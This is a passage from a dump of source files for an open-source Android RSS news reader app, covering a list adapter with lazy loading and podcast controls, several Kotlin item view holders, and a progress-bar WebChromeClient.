layoutManager.getTotalItemCount();\n                            int lastVisibleItem = layoutManager\n                                    .findLastVisibleItemPosition();\n                            if (!loading &&\n                                    adapterItemCount <= (lastVisibleItem + visibleThreshold) &&\n                                    adapterItemCount < adapterTotalItemCount &&\n                                    adapterItemCount > 0) {\n                                loading = true;\n\n                                Log.v(TAG, \"start load more task...\");\n\n                                recyclerView.post(() -> {\n                                    // End has been reached\n                                    // Do something\n                                    try {\n                                        lazyList.add(null);\n                                        notifyItemInserted(lazyList.size() - 1);\n                                        AsyncTaskHelper.StartAsyncTask(new LoadMoreItemsAsyncTask());\n                                    } catch (UnsupportedOperationException ex) {\n                                        Log.e(TAG, \"error while lazy loading more items\");\n                                        // this can happen in case a podcast download is running and\n                                        // the user tries to open the Downloaded Podcast View\n                                    }\n                                });\n                            }\n                        }\n                    });\n        }\n    }\n\n    public int getTotalItemCount() {\n        if (this.layoutManager != null) {\n            return this.layoutManager.getTotalItemCount();\n        }\n        return 0;\n    }\n\n    public int getCachedPages() {\n        return cachedPages;\n    }\n\n    public void setTotalItemCount(int totalItemCount) {\n        if (this.layoutManager != null) {\n            this.layoutManager.setTotalItemCount(totalItemCount);\n        }\n    }\n\n    public void setCachedPages(int cachedPages) {\n        this.cachedPages = cachedPages;\n    }\n\n    /*\n    // TODO right now this is not working anymore.. We need to use the MediaSession here..\n    // Not sure if this is the cleanest solution though..\n    @Subscribe\n    public void onEvent(UpdatePodcastStatusEvent podcast) {\n        if (podcast.isPlaying()) {\n            if (podcast.getRssItemId() != idOfCurrentlyPlayedPodcast) {\n                idOfCurrentlyPlayedPodcast = podcast.getRssItemId();\n                notifyDataSetChanged();\n\n                Log.v(TAG, \"Updating Listview - Podcast started\");\n            }\n        } else if (idOfCurrentlyPlayedPodcast != -1) {\n            idOfCurrentlyPlayedPodcast = -1;\n            notifyDataSetChanged();\n\n            Log.v(TAG, \"Updating Listview - Podcast paused\");\n        }\n    }\n    */\n\n    @Subscribe\n    public void onEvent(PodcastCompletedEvent podcastCompletedEvent) {\n        idOfCurrentlyPlayedPodcast = -1;\n        notifyDataSetChanged();\n\n        Log.v(TAG, \"Updating Listview - Podcast completed\");\n    }\n\n    @NonNull\n    @Override\n    public RecyclerView.ViewHolder onCreateViewHolder(@NonNull ViewGroup parent, int viewType) {\n        if (viewType == VIEW_PROG) {\n            LayoutInflater layoutInflater = LayoutInflater.from(parent.getContext());\n            ProgressbarItemBinding binding = ProgressbarItemBinding.inflate(layoutInflater, parent, false);\n            return new ProgressViewHolder(binding);\n        } else {\n            Context context = parent.getContext();\n            RssItemViewHolder viewHolder = null;\n            switch (Integer.parseInt(mPrefs.getString(SettingsActivity.SP_FEED_LIST_LAYOUT, \"0\"))) {\n                case 0:\n                    viewHolder = new RssItemThumbnailViewHolder(\n                            SubscriptionDetailListItemThumbnailBinding.inflate(LayoutInflater.from(context), parent, false),\n                            faviconHandler,\n                            glide,\n                            mPrefs\n                    );\n                    break;\n                case 1:\n                    viewHolder = new RssItemTextViewHolder(\n                            SubscriptionDetailListItemTextBinding.inflate(LayoutInflater.from(context), parent, false),\n                            faviconHandler,\n                            glide,\n                            mPrefs\n                    );\n                    break;\n                case 3:\n                    viewHolder = new RssItemFullTextViewHolder(\n                            SubscriptionDetailListItemTextBinding.inflate(LayoutInflater.from(context), parent, false),\n                            faviconHandler,\n                            glide,\n                            mPrefs\n                    );\n                    break;\n                case 2:\n                    viewHolder = new RssItemWebViewHolder(\n                            SubscriptionDetailListItemWebLayoutBinding.inflate(LayoutInflater.from(context), parent, false),\n                            faviconHandler,\n                            glide,\n                            mPrefs\n                    );\n                    break;\n                case 4:\n                    viewHolder = new RssItemCardViewHolder(\n                            SubscriptionDetailListItemCardViewBinding.inflate(LayoutInflater.from(context), parent, false),\n                            faviconHandler,\n                            glide,\n                            mPrefs\n                    );\n                    break;\n                case 5:\n                    viewHolder = new RssItemHeadlineViewHolder(\n                            SubscriptionDetailListItemHeadlineBinding.inflate(LayoutInflater.from(context), parent, false),\n                            faviconHandler,\n                            glide,\n                            mPrefs\n                    );\n                    break;\n                case 6:\n                    viewHolder = new RssItemHeadlineThumbnailViewHolder(\n                            SubscriptionDetailListItemHeadlineThumbnailBinding.inflate(LayoutInflater.from(context), parent, false),\n                            faviconHandler,\n                            glide,\n                            mPrefs\n                    );\n                    break;\n                default:\n                    Log.e(TAG, \"Unknown layout..\");\n            }\n\n            RssItemViewHolder finalViewHolder = viewHolder;\n            if(viewHolder.getStar() != null) {\n                viewHolder.getStar().setOnClickListener(view1 -> toggleStarredStateOfItem(finalViewHolder));\n            }\n\n            viewHolder.getPlayPausePodcastWrapper().setOnClickListener(v -> {\n                if (finalViewHolder.isPlaying()) {\n                    playPausePodcastClicked.pausePodcast();\n                } else {\n                    playPausePodcastClicked.openPodcast(finalViewHolder.getRssItem());\n                }\n            });\n            viewHolder.setClickListener((RecyclerItemClickListener) activity);\n            /*\n            // TODO implement option to delete cached podcasts (https://github.com/nextcloud/news-android/issues/742)\n            holder.flPlayPausePodcastWrapper.setOnLongClickListener(v -> {\n                // TODO check if cached..\n                new AlertDialog.Builder(activity)\n                        .setTitle(\"\")\n                        .setMessage(\"\")\n                        .setPositiveButton(\"\", (dialog, which) -> {})\n                        .setNegativeButton(\"\", (dialog, which) -> {})\n                        .create()\n                        .show();\n                return false;\n            });\n            */\n            return viewHolder;\n        }\n    }\n\n    @Override\n    public void onBindViewHolder(@NonNull final RecyclerView.ViewHolder viewHolder, int position) {\n        if (viewHolder instanceof ProgressViewHolder) {\n            ((ProgressViewHolder) viewHolder).getBinding().progressBar.setIndeterminate(true);\n        } else {\n            final RssItemViewHolder holder = (RssItemViewHolder) viewHolder;\n            RssItem item = lazyList.get(position);\n            holder.bind(item);\n            holder.setStayUnread(NewsReaderListActivity.stayUnreadItems.contains(item.getId()));\n\n            //Podcast stuff\n            if (DatabaseConnectionOrm.ALLOWED_PODCASTS_TYPES.contains(item.getEnclosureMime())) {\n                final boolean isPlaying = idOfCurrentlyPlayedPodcast == item.getId();\n                //Enable podcast buttons in view\n                holder.getPlayPausePodcastWrapper().setVisibility(View.VISIBLE);\n                holder.setPlaying(isPlaying);\n                holder.setDownloadPodcastProgressbar();\n            } else {\n                holder.getPlayPausePodcastWrapper().setVisibility(View.GONE);\n            }\n        }\n    }\n\n    @Override\n    public void onViewDetachedFromWindow(@NonNull RecyclerView.ViewHolder holder) {\n        if (holder instanceof RssItemViewHolder) {\n            EventBus.getDefault().unregister(holder);\n        }\n    }\n\n    @Override\n    public void onViewAttachedToWindow(@NonNull RecyclerView.ViewHolder holder) {\n        if (holder instanceof RssItemViewHolder) {\n            EventBus.getDefault().register(holder);\n        }\n    }\n\n    public void changeReadStateOfItem(RssItemViewHolder viewHolder, boolean isChecked) {\n        RssItem rssItem = viewHolder.getRssItem();\n        if (rssItem.getRead_temp() != isChecked) { // Only perform database operations if really needed\n            rssItem.setRead_temp(isChecked);\n            dbConn.updateRssItem(rssItem);\n\n            pDelayHandler.delayTimer();\n\n            viewHolder.setReadState(isChecked);\n            //notifyItemChanged(viewHolder.getAdapterPosition());\n\n            NewsReaderListActivity.stayUnreadItems.add(rssItem.getId());\n        }\n    }\n\n    public void toggleReadStateOfItem(RssItemViewHolder viewHolder) {\n        RssItem rssItem = viewHolder.getRssItem();\n        boolean isRead = !rssItem.getRead_temp();\n        changeReadStateOfItem(viewHolder, isRead);\n    }\n\n    public void toggleStarredStateOfItem(RssItemViewHolder viewHolder) {\n        RssItem rssItem = viewHolder.getRssItem();\n        boolean isStarred = !rssItem.getStarred_temp();\n        rssItem.setStarred_temp(isStarred);\n\n        if (isStarred) {\n            changeReadStateOfItem(viewHolder, true);\n        }\n\n        dbConn.updateRssItem(rssItem);\n        pDelayHandler.delayTimer();\n\n        viewHolder.setStarred(isStarred);\n    }\n\n    @Override\n    public int getItemViewType(int position) {\n        return lazyList.get(position) != null ? VIEW_ITEM : VIEW_PROG;\n    }\n\n    @Override\n    public int getItemCount() {\n        return lazyList != null ? lazyList.size() : 0;\n    }\n\n    @Override\n    public long getItemId(int position) {\n        if (lazyList != null) {\n            RssItem item = lazyList.get(position);\n            return item != null ? item.getId() : 0;\n        }\n        return 0;\n    }\n\n\n\n    private List<RssItem> refreshAdapterData() {\n        List<RssItem> rssItems = new ArrayList<>();\n        DatabaseConnectionOrm dbConn = new DatabaseConnectionOrm(activity);\n        for(int i = 0; i < cachedPages; i++) {\n            rssItems.addAll(dbConn.getCurrentRssItemView(i));\n        }\n        return rssItems;\n    }\n\n\n\n    public void updateAdapterData(List<RssItem> rssItems) {\n        NewsReaderListActivity.stayUnreadItems.clear();\n\n        cachedPages = 1;\n\n        //if (this.lazyList != null) {\n            //this.lazyList.close();\n        //}\n        //new ReloadAdapterAsyncTask().execute();\n\n        setTotalItemCount(((Long) dbConn.getCurrentRssItemViewCount()).intValue());\n\n        lazyList = rssItems;\n        notifyDataSetChanged();\n\n        loading = false;\n    }\n\n    public interface IOnRefreshFinished {\n        void OnRefreshFinished();\n    }\n\n    public void refreshAdapterDataAsync(IOnRefreshFinished listener) {\n        AsyncTaskHelper.StartAsyncTask(new RefreshDataAsyncTask(listener));\n    }\n\n    private class RefreshDataAsyncTask extends AsyncTask<Void, Void, List<RssItem>> {\n\n        private final IOnRefreshFinished listener;\n\n        public RefreshDataAsyncTask(IOnRefreshFinished listener) {\n            this.listener = listener;\n        }\n\n        @Override\n        protected void onPreExecute() {\n            loading = true;\n\n            super.onPreExecute();\n        }\n\n        @Override\n        protected List<RssItem> doInBackground(Void... params) {\n            StopWatch sw = new StopWatch();\n            sw.start();\n\n            List<RssItem> rssItems = refreshAdapterData();\n\n            sw.stop();\n            Log.v(TAG, \"Time needed (refreshing adapter): \" + sw);\n\n            return rssItems;\n        }\n\n        @Override\n        protected void onPostExecute(List<RssItem> rssItems) {\n            lazyList = rssItems;\n            notifyDataSetChanged();\n\n            loading = false;\n\n            listener.OnRefreshFinished();\n\n            super.onPostExecute(rssItems);\n        }\n    }\n\n\n    private class LoadMoreItemsAsyncTask extends AsyncTask<Void, Void, List<RssItem>> {\n        @Override\n        protected List<RssItem> doInBackground(Void... params) {\n            StopWatch sw = new StopWatch();\n            sw.start();\n\n            DatabaseConnectionOrm dbConn = new DatabaseConnectionOrm(activity);\n            List<RssItem> items = dbConn.getCurrentRssItemView(cachedPages++);\n\n            sw.stop();\n            Log.v(TAG, \"Time needed (loading more): \" + sw);\n            return items;\n        }\n\n        @Override\n        protected void onPostExecute(List<RssItem> rssItems) {\n            int prevSize = lazyList.size();\n            Log.d(TAG, \"prevSize=\" + prevSize);\n            lazyList.remove(prevSize - 1);\n            lazyList.addAll(rssItems);\n\n            notifyItemRangeInserted(prevSize, rssItems.size());\n\n            loading = false;\n\n            super.onPostExecute(rssItems);\n        }\n    }\n\n    private class ReloadAdapterAsyncTask extends AsyncTask<Void, Void, CurrentRssViewDataHolder> {\n\n        @Override\n        protected CurrentRssViewDataHolder doInBackground(Void... params) {\n            StopWatch sw = new StopWatch();\n            sw.start();\n\n            List<RssItem> list = dbConn.getCurrentRssItemView(0);\n\n            CurrentRssViewDataHolder holder = new CurrentRssViewDataHolder();\n            holder.maxCount = dbConn.getCurrentRssItemViewCount();\n            holder.rssItems = list;\n\n            sw.stop();\n            Log.v(TAG, \"Reloaded CurrentRssView - time taken: \" + sw);\n            return holder;\n        }\n\n        @Override\n        protected void onPostExecute(CurrentRssViewDataHolder holder) {\n            lazyList = holder.rssItems;\n            setTotalItemCount(holder.maxCount.intValue());\n            cachedPages = 1;\n            notifyDataSetChanged();\n        }\n    }\n}\n"
  },
  {
    "path": "News-Android-App/src/main/java/de/luhmer/owncloudnewsreader/adapter/ProgressBarWebChromeClient.kt",
    "content": "package de.luhmer.owncloudnewsreader.adapter\n\nimport android.util.Log\nimport android.webkit.ConsoleMessage\nimport android.webkit.WebChromeClient\nimport android.webkit.WebView\nimport android.widget.ProgressBar\n\nprivate const val COMPLETE = 100\n\n/**\n * A very simple WebChromeClient which sets the status of a given\n * ProgressBar instance while loading. The ProgressBar instance will\n * only be visible during loading.\n */\nclass ProgressBarWebChromeClient(\n    private val progressBar: ProgressBar,\n) : WebChromeClient() {\n    val tag = javaClass.canonicalName\n\n    override fun onConsoleMessage(cm: ConsoleMessage): Boolean {\n        Log.v(tag, cm.message() + \" at \" + cm.sourceId() + \":\" + cm.lineNumber())\n        return true\n    }\n\n    override fun onProgressChanged(\n        view: WebView,\n        progress: Int,\n    ) {\n        progressBar.progress = progress\n        if (progress < COMPLETE && progressBar.visibility == ProgressBar.GONE) {\n            progressBar.visibility = ProgressBar.VISIBLE\n        } else if (progress == COMPLETE) {\n            progressBar.visibility = ProgressBar.GONE\n        }\n    }\n}\n"
  },
  {
    "path": "News-Android-App/src/main/java/de/luhmer/owncloudnewsreader/adapter/ProgressViewHolder.kt",
    "content": "package de.luhmer.owncloudnewsreader.adapter\n\nimport androidx.recyclerview.widget.RecyclerView\nimport de.luhmer.owncloudnewsreader.databinding.ProgressbarItemBinding\n\nclass ProgressViewHolder(\n    val binding: ProgressbarItemBinding,\n) : RecyclerView.ViewHolder(binding.root)\n"
  },
  {
    "path": "News-Android-App/src/main/java/de/luhmer/owncloudnewsreader/adapter/RecyclerItemClickListener.kt",
    "content": "package de.luhmer.owncloudnewsreader.adapter\n\ninterface RecyclerItemClickListener {\n    fun onClick(\n        vh: RssItemViewHolder<*>,\n        position: Int,\n    )\n\n    fun onLongClick(\n        vh: RssItemViewHolder<*>,\n        position: Int,\n    ): Boolean\n}\n"
  },
  {
    "path": "News-Android-App/src/main/java/de/luhmer/owncloudnewsreader/adapter/RssItemCardViewHolder.kt",
    "content": "package de.luhmer.owncloudnewsreader.adapter\n\nimport android.content.SharedPreferences\nimport android.view.View\nimport android.widget.FrameLayout\nimport android.widget.ImageView\nimport android.widget.ProgressBar\nimport android.widget.TextView\nimport androidx.annotation.CallSuper\nimport com.bumptech.glide.RequestManager\nimport de.luhmer.owncloudnewsreader.database.model.RssItem\nimport de.luhmer.owncloudnewsreader.databinding.SubscriptionDetailListItemCardViewBinding\nimport de.luhmer.owncloudnewsreader.helper.FavIconHandler\n\nclass RssItemCardViewHolder internal constructor(\n    binding: SubscriptionDetailListItemCardViewBinding,\n    faviconHandler: FavIconHandler,\n    glide: RequestManager,\n    sharedPreferences: SharedPreferences,\n) : RssItemViewHolder<SubscriptionDetailListItemCardViewBinding>(\n        binding,\n        faviconHandler,\n        glide,\n        sharedPreferences,\n    ) {\n    override fun getImageViewFavIcon(): ImageView = binding.imgViewFavIcon\n\n    override fun getStar(): ImageView = binding.starImageview\n\n    override fun getPlayPausePodcastButton(): ImageView = binding.podcastWrapper.btnPlayPausePodcast\n\n    override fun getColorFeed(): View = binding.colorLineFeed\n\n    override fun getTextViewTitle(): TextView = binding.tvSubscription\n\n    override fun getTextViewSummary(): TextView = binding.summary\n\n    override fun getTextViewBody(): TextView = binding.body\n\n    override fun getTextViewItemDate(): TextView = binding.tvItemDate\n\n    override fun getPlayPausePodcastWrapper(): FrameLayout = binding.podcastWrapper.flPlayPausePodcastWrapper\n\n    override fun getPodcastDownloadProgress(): ProgressBar = binding.podcastWrapper.podcastDownloadProgress\n\n    @CallSuper\n    override fun bind(rssItem: RssItem) {\n        super.bind(rssItem)\n    }\n}\n"
  },
  {
    "path": "News-Android-App/src/main/java/de/luhmer/owncloudnewsreader/adapter/RssItemFullTextViewHolder.kt",
    "content": "package de.luhmer.owncloudnewsreader.adapter\n\nimport android.content.SharedPreferences\nimport com.bumptech.glide.RequestManager\nimport de.luhmer.owncloudnewsreader.databinding.SubscriptionDetailListItemTextBinding\nimport de.luhmer.owncloudnewsreader.helper.FavIconHandler\n\nclass RssItemFullTextViewHolder internal constructor(\n    binding: SubscriptionDetailListItemTextBinding,\n    faviconHandler: FavIconHandler,\n    glide: RequestManager,\n    sharedPreferences: SharedPreferences,\n) : RssItemTextViewHolder(binding, faviconHandler, glide, sharedPreferences)\n"
  },
  {
    "path": "News-Android-App/src/main/java/de/luhmer/owncloudnewsreader/adapter/RssItemHeadlineThumbnailViewHolder.kt",
    "content": "package de.luhmer.owncloudnewsreader.adapter\n\nimport android.content.SharedPreferences\nimport android.view.View\nimport android.widget.FrameLayout\nimport android.widget.ImageView\nimport android.widget.ProgressBar\nimport android.widget.TextView\nimport androidx.annotation.CallSuper\nimport androidx.vectordrawable.graphics.drawable.VectorDrawableCompat\nimport com.bumptech.glide.RequestManager\nimport com.bumptech.glide.load.MultiTransformation\nimport com.bumptech.glide.load.engine.DiskCacheStrategy\nimport com.bumptech.glide.load.resource.bitmap.CenterCrop\nimport com.bumptech.glide.load.resource.bitmap.RoundedCorners\nimport de.luhmer.owncloudnewsreader.R\nimport de.luhmer.owncloudnewsreader.database.DatabaseConnectionOrm\nimport de.luhmer.owncloudnewsreader.database.model.RssItem\nimport de.luhmer.owncloudnewsreader.databinding.SubscriptionDetailListItemHeadlineThumbnailBinding\nimport de.luhmer.owncloudnewsreader.helper.FavIconHandler\n\nprivate const val RADIUS_IN_DP = 60\n\nclass RssItemHeadlineThumbnailViewHolder internal constructor(\n    binding: SubscriptionDetailListItemHeadlineThumbnailBinding,\n    faviconHandler: FavIconHandler,\n    glide: RequestManager,\n    sharedPreferences: SharedPreferences,\n) : RssItemViewHolder<SubscriptionDetailListItemHeadlineThumbnailBinding>(\n        binding,\n        faviconHandler,\n        glide,\n        sharedPreferences,\n    ) {\n    var feedIcon = VectorDrawableCompat.create(itemView.resources, R.drawable.feed_icon, null)\n\n    override fun getImageViewFavIcon(): ImageView = binding.imgViewFavIcon\n\n    override fun getStar(): ImageView = binding.starImageview\n\n    override fun getPlayPausePodcastButton(): ImageView = binding.podcastWrapper.btnPlayPausePodcast\n\n    override fun getColorFeed(): View? = null\n\n    override fun getTextViewTitle(): TextView = binding.tvSubscription\n\n    override fun getTextViewSummary(): TextView = binding.summary\n\n    override fun getTextViewBody(): TextView? = null\n\n    override fun getTextViewItemDate(): TextView? = null\n\n    override fun getPlayPausePodcastWrapper(): FrameLayout = binding.podcastWrapper.flPlayPausePodcastWrapper\n\n    override fun getPodcastDownloadProgress(): ProgressBar = binding.podcastWrapper.podcastDownloadProgress\n\n    @CallSuper\n    override fun bind(rssItem: RssItem) {\n        super.bind(rssItem)\n        binding.starImageview.visibility = if (rssItem.starred_temp) View.VISIBLE else View.GONE\n        binding.imgViewThumbnail.colorFilter = null\n        val mediaThumbnail = rssItem.mediaThumbnail\n        if (!mediaThumbnail.isNullOrEmpty()) {\n            binding.imgViewThumbnail.visibility = View.VISIBLE\n            mGlide\n                .load(mediaThumbnail)\n                .diskCacheStrategy(DiskCacheStrategy.DATA)\n                .placeholder(feedIcon)\n                .error(feedIcon)\n                .transform(MultiTransformation(CenterCrop(), RoundedCorners(RADIUS_IN_DP)))\n                .into(binding.imgViewThumbnail)\n        } else {\n            // Show Podcast Icon if no thumbnail is available but it is a podcast\n            // (otherwise the podcast button will go missing)\n            if (DatabaseConnectionOrm.ALLOWED_PODCASTS_TYPES.contains(rssItem.enclosureMime)) {\n                binding.imgViewThumbnail.visibility = View.VISIBLE\n                // imgViewThumbnail.setColorFilter(Color.parseColor(\"#d8d8d8\"));\n                binding.imgViewThumbnail.setImageDrawable(feedIcon)\n            } else {\n                binding.imgViewThumbnail.setImageDrawable(null)\n                binding.imgViewThumbnail.visibility = View.GONE\n            }\n        }\n    }\n}\n"
  },
  {
    "path": "News-Android-App/src/main/java/de/luhmer/owncloudnewsreader/adapter/RssItemHeadlineViewHolder.kt",
    "content": "package de.luhmer.owncloudnewsreader.adapter\n\nimport android.content.SharedPreferences\nimport android.view.View\nimport android.widget.FrameLayout\nimport android.widget.ImageView\nimport android.widget.ProgressBar\nimport android.widget.TextView\nimport androidx.annotation.CallSuper\nimport androidx.viewbinding.ViewBinding\nimport com.bumptech.glide.RequestManager\nimport de.luhmer.owncloudnewsreader.database.model.RssItem\nimport de.luhmer.owncloudnewsreader.databinding.SubscriptionDetailListItemHeadlineBinding\nimport de.luhmer.owncloudnewsreader.helper.FavIconHandler\n\nclass RssItemHeadlineViewHolder internal constructor(\n    binding: ViewBinding,\n    faviconHandler: FavIconHandler,\n    glide: RequestManager,\n    sharedPreferences: SharedPreferences,\n) : RssItemViewHolder<SubscriptionDetailListItemHeadlineBinding>(\n        binding,\n        faviconHandler,\n        glide,\n        sharedPreferences,\n    ) {\n    override fun getImageViewFavIcon(): ImageView = binding.imgViewFavIcon\n\n    override fun getStar(): ImageView = binding.starImageview\n\n    override fun getPlayPausePodcastButton(): ImageView = binding.podcastWrapper.btnPlayPausePodcast\n\n    override fun getColorFeed(): View = binding.colorLineFeed\n\n    override fun getTextViewTitle(): TextView = binding.tvSubscription\n\n    override fun getTextViewSummary(): TextView = binding.summary\n\n    override fun getTextViewBody(): TextView? = null\n\n    override fun getTextViewItemDate(): TextView = binding.tvItemDate\n\n    override fun getPlayPausePodcastWrapper(): FrameLayout = binding.podcastWrapper.flPlayPausePodcastWrapper\n\n    override fun getPodcastDownloadProgress(): ProgressBar = binding.podcastWrapper.podcastDownloadProgress\n\n    @CallSuper\n    override fun bind(rssItem: RssItem) {\n        super.bind(rssItem)\n    }\n}\n"
  },
  {
    "path": "News-Android-App/src/main/java/de/luhmer/owncloudnewsreader/adapter/RssItemTextViewHolder.kt",
    "content": "package de.luhmer.owncloudnewsreader.adapter\n\nimport android.content.SharedPreferences\nimport android.view.View\nimport android.widget.FrameLayout\nimport android.widget.ImageView\nimport android.widget.ProgressBar\nimport android.widget.TextView\nimport androidx.annotation.CallSuper\nimport androidx.viewbinding.ViewBinding\nimport com.bumptech.glide.RequestManager\nimport de.luhmer.owncloudnewsreader.database.model.RssItem\nimport de.luhmer.owncloudnewsreader.databinding.SubscriptionDetailListItemTextBinding\nimport de.luhmer.owncloudnewsreader.helper.FavIconHandler\n\nopen class RssItemTextViewHolder internal constructor(\n    binding: ViewBinding,\n    faviconHandler: FavIconHandler,\n    glide: RequestManager,\n    sharedPreferences: SharedPreferences,\n) : RssItemViewHolder<SubscriptionDetailListItemTextBinding>(\n        binding,\n        faviconHandler,\n        glide,\n        sharedPreferences,\n    ) {\n    override fun getImageViewFavIcon(): ImageView = binding.imgViewFavIcon\n\n    override fun getStar(): ImageView = binding.starImageview\n\n    override fun getPlayPausePodcastButton(): ImageView = binding.podcastWrapper.btnPlayPausePodcast\n\n    override fun getColorFeed(): View = binding.colorLineFeed\n\n    override fun getTextViewTitle(): TextView = binding.tvSubscription\n\n    override fun getTextViewSummary(): TextView = binding.summary\n\n    override fun getTextViewBody(): TextView = binding.body\n\n    override fun getTextViewItemDate(): TextView = binding.tvItemDate\n\n    override fun getPlayPausePodcastWrapper(): FrameLayout = binding.podcastWrapper.flPlayPausePodcastWrapper\n\n    override fun getPodcastDownloadProgress(): ProgressBar = binding.podcastWrapper.podcastDownloadProgress\n\n    @CallSuper\n    override fun bind(rssItem: RssItem) {\n        super.bind(rssItem)\n    }\n}\n"
  },
  {
    "path": "News-Android-App/src/main/java/de/luhmer/owncloudnewsreader/adapter/RssItemThumbnailViewHolder.kt",
    "content": "package de.luhmer.owncloudnewsreader.adapter\n\nimport android.content.SharedPreferences\nimport android.view.View\nimport android.widget.FrameLayout\nimport android.widget.ImageView\nimport android.widget.ProgressBar\nimport android.widget.TextView\nimport androidx.annotation.CallSuper\nimport androidx.vectordrawable.graphics.drawable.VectorDrawableCompat\nimport com.bumptech.glide.RequestManager\nimport com.bumptech.glide.load.MultiTransformation\nimport com.bumptech.glide.load.engine.DiskCacheStrategy\nimport com.bumptech.glide.load.resource.bitmap.CenterCrop\nimport com.bumptech.glide.load.resource.bitmap.RoundedCorners\nimport de.luhmer.owncloudnewsreader.R\nimport de.luhmer.owncloudnewsreader.database.DatabaseConnectionOrm\nimport de.luhmer.owncloudnewsreader.database.model.RssItem\nimport de.luhmer.owncloudnewsreader.databinding.SubscriptionDetailListItemThumbnailBinding\nimport de.luhmer.owncloudnewsreader.helper.FavIconHandler\n\nprivate const val RADIUS_IN_DP = 60\n\nclass RssItemThumbnailViewHolder internal constructor(\n    binding: SubscriptionDetailListItemThumbnailBinding,\n    faviconHandler: FavIconHandler,\n    glide: RequestManager,\n    sharedPreferences: SharedPreferences,\n) : RssItemViewHolder<SubscriptionDetailListItemThumbnailBinding>(\n        binding,\n        faviconHandler,\n        glide,\n        sharedPreferences,\n    ) {\n    var feedIcon = VectorDrawableCompat.create(itemView.resources, R.drawable.feed_icon, null)\n\n    override fun getImageViewFavIcon(): ImageView = binding.imgViewFavIcon\n\n    override fun getStar(): ImageView = binding.starImageview\n\n    override fun getPlayPausePodcastButton(): ImageView = binding.podcastWrapper.btnPlayPausePodcast\n\n    override fun getColorFeed(): View? = null\n\n    override fun getTextViewTitle(): TextView = binding.tvSubscription\n\n    override fun getTextViewSummary(): TextView = binding.summary\n\n    override fun getTextViewBody(): TextView = binding.body\n\n    override fun getTextViewItemDate(): TextView = binding.tvItemDate\n\n    override fun getPlayPausePodcastWrapper(): FrameLayout = binding.podcastWrapper.flPlayPausePodcastWrapper\n\n    override fun getPodcastDownloadProgress(): ProgressBar = binding.podcastWrapper.podcastDownloadProgress\n\n    @CallSuper\n    override fun bind(rssItem: RssItem) {\n        super.bind(rssItem)\n        binding.imgViewThumbnail.colorFilter = null\n        val mediaThumbnail = rssItem.mediaThumbnail\n        if (!mediaThumbnail.isNullOrEmpty()) {\n            binding.imgViewThumbnail.visibility = View.VISIBLE\n            mGlide\n                .load(mediaThumbnail)\n                .diskCacheStrategy(DiskCacheStrategy.DATA)\n                .placeholder(feedIcon)\n                .error(feedIcon)\n                .transform(MultiTransformation(CenterCrop(), RoundedCorners(RADIUS_IN_DP)))\n                .into(binding.imgViewThumbnail)\n        } else {\n            // Show Podcast Icon if no thumbnail is available but it is a podcast\n            // (otherwise the podcast button will go missing)\n            if (DatabaseConnectionOrm.ALLOWED_PODCASTS_TYPES.contains(rssItem.enclosureMime)) {\n                binding.imgViewThumbnail.visibility = View.VISIBLE\n                // imgViewThumbnail.setColorFilter(Color.parseColor(\"#d8d8d8\"));\n                binding.imgViewThumbnail.setImageDrawable(feedIcon)\n            } else {\n                binding.imgViewThumbnail.visibility = View.GONE\n            }\n        }\n    }\n}\n"
  },
  {
    "path": "News-Android-App/src/main/java/de/luhmer/owncloudnewsreader/adapter/RssItemViewHolder.java",
    "content": "package de.luhmer.owncloudnewsreader.adapter;\n\nimport android.content.Context;\nimport android.content.SharedPreferences;\nimport android.content.res.TypedArray;\nimport android.graphics.Color;\nimport android.graphics.Typeface;\nimport android.text.Html;\nimport android.text.Spannable;\nimport android.text.SpannableString;\nimport android.text.style.ForegroundColorSpan;\nimport android.util.Log;\nimport android.util.SparseIntArray;\nimport android.util.TypedValue;\nimport android.view.View;\nimport android.widget.FrameLayout;\nimport android.widget.ImageView;\nimport android.widget.ProgressBar;\nimport android.widget.TextView;\n\nimport androidx.annotation.CallSuper;\nimport androidx.annotation.NonNull;\nimport androidx.core.content.ContextCompat;\nimport androidx.recyclerview.widget.RecyclerView;\nimport androidx.viewbinding.ViewBinding;\n\nimport com.bumptech.glide.Glide;\nimport com.bumptech.glide.RequestManager;\n\nimport org.greenrobot.eventbus.Subscribe;\n\nimport java.util.regex.Pattern;\n\nimport de.luhmer.owncloudnewsreader.R;\nimport de.luhmer.owncloudnewsreader.SettingsActivity;\nimport de.luhmer.owncloudnewsreader.database.model.RssItem;\nimport de.luhmer.owncloudnewsreader.helper.ColorHelper;\nimport de.luhmer.owncloudnewsreader.helper.DateTimeFormatter;\nimport de.luhmer.owncloudnewsreader.helper.FavIconHandler;\nimport de.luhmer.owncloudnewsreader.services.PodcastDownloadService;\n\npublic abstract class RssItemViewHolder<T extends ViewBinding> extends RecyclerView.ViewHolder implements View.OnClickListener, View.OnLongClickListener {\n    private final static String TAG = RssItemViewHolder.class.getCanonicalName();\n\n    protected T binding;\n    private static final SparseIntArray downloadProgressList = new SparseIntArray();\n    private final FavIconHandler favIconHandler;\n    protected final SharedPreferences mPrefs;\n    @SuppressWarnings(\"FieldCanBeLocal\")\n    private final int LengthBody = 400;\n    private final ForegroundColorSpan bodyForegroundColor;\n    private RecyclerItemClickListener clickListener;\n    private RssItem rssItem;\n    private boolean stayUnread = false;\n    private boolean playing;\n    private int starColor;\n    private int inactiveStarColor;\n    protected RequestManager mGlide;\n\n    private final SparseIntArray initalFontSizes = new SparseIntArray();\n\n    RssItemViewHolder(\n            @NonNull ViewBinding binding,\n            FavIconHandler favIconHandler,\n            RequestManager glide,\n            SharedPreferences sharedPreferences\n    ) {\n        super(binding.getRoot());\n        this.binding = (T) binding;\n        this.mPrefs = sharedPreferences;\n\n        Context context = itemView.getContext();\n        bodyForegroundColor = new ForegroundColorSpan(ContextCompat.getColor(context, android.R.color.secondary_text_dark));\n\n        mGlide = glide;\n\n        this.favIconHandler = favIconHandler;\n\n        itemView.setOnClickListener(this);\n        itemView.setOnLongClickListener(this);\n\n        extractInitialFontSize(getTextViewBody());\n        extractInitialFontSize(getTextViewTitle());\n        extractInitialFontSize(getTextViewSummary());\n        extractInitialFontSize(getTextViewBody());\n        extractInitialFontSize(getTextViewItemDate());\n    }\n\n    private void extractInitialFontSize(TextView tv) {\n        if (tv != null) {\n            initalFontSizes.append(tv.getId(), Math.round(tv.getTextSize()));\n        }\n    }\n\n    /**\n     * Apply scaling factor to TextView font size, based on app font-size preference.\n     *\n     * @param tv            TextView object to be scaled\n     * @param initialTvSize app layout definition default size of TextView element\n     * @param halfScale     if set to true, will only apply half of the scaling factor\n     */\n    private void scaleTextSize(TextView tv, int initialTvSize, boolean halfScale, SharedPreferences 